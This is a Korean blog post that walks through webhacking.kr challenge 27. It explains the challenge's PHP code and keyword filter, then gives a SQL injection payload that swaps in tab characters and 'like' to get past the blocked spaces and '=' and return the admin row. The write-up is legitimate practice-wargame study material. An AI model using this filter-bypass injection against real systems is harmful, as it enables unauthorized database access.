TigerDemon

webhacking.kr 27번 본문

2026-SWLUG/웹해킹

webhacking.kr 27번

호랑2D 2026. 5. 6. 18:43

https://webhacking.kr/challenge/web-12/

 

Challenge 27

 

webhacking.kr

 

 

사이트에 들어가면 첫번째 사진처럼 뜹니다.

view-source 텍스트로 들어가면 두번째 사진처럼 코드가 뜹니다.

 

<코드 해석>

if($_GET['no']){

URL 파라미터 no를 받으면 실행된다.

if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");

아래 문자열이 들어가면 차단이 된다.

#, select, (, (공백),  limit, = , 0x(hex)

select id from chall27 
where id='guest' and no=({$_GET['no']})

위는 실제 쿼리고 아래는 SQL 형태

SELECT id 
FROM chall27 
WHERE id='guest' AND no=(입력값)

 

아래에서 admin이 나오면 성공 그런데 쿼리 조건에 id='guest'가 고정된다

if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27);

 

코드에서 문제가 있는 부분

WHERE id='guest'

인데

if($r['id']=="admin")

guest만 조회하는데 admin이 나와야 한다.

 

따라서 해당 부분을 노려야한다.

no=({$_GET['no']})

 

id='guest' and no=1 or no=2 해당 쿼리를 통해 no=-1번인 열이 없을테니 false가 되지만 no=2가 존재하므로 admin이 반환될 것이다. 

-1)%09or%09no%09like%092--%09

위 내용을 텍스트 입력 칸이 아니라 url에 직접 넣어야한다.

'2026-SWLUG > 웹해킹' 카테고리의 다른 글

WEBHACKING.KR 7번 풀기  (0) 2026.05.24
webhacking.kr 18번  (0) 2026.05.13
WEBHACKING.kr 26번 풀이  (0) 2026.05.06
Webhacking.kr 17번 풀기  (0) 2026.04.29
webhacking.kr 3  (0) 2026.03.25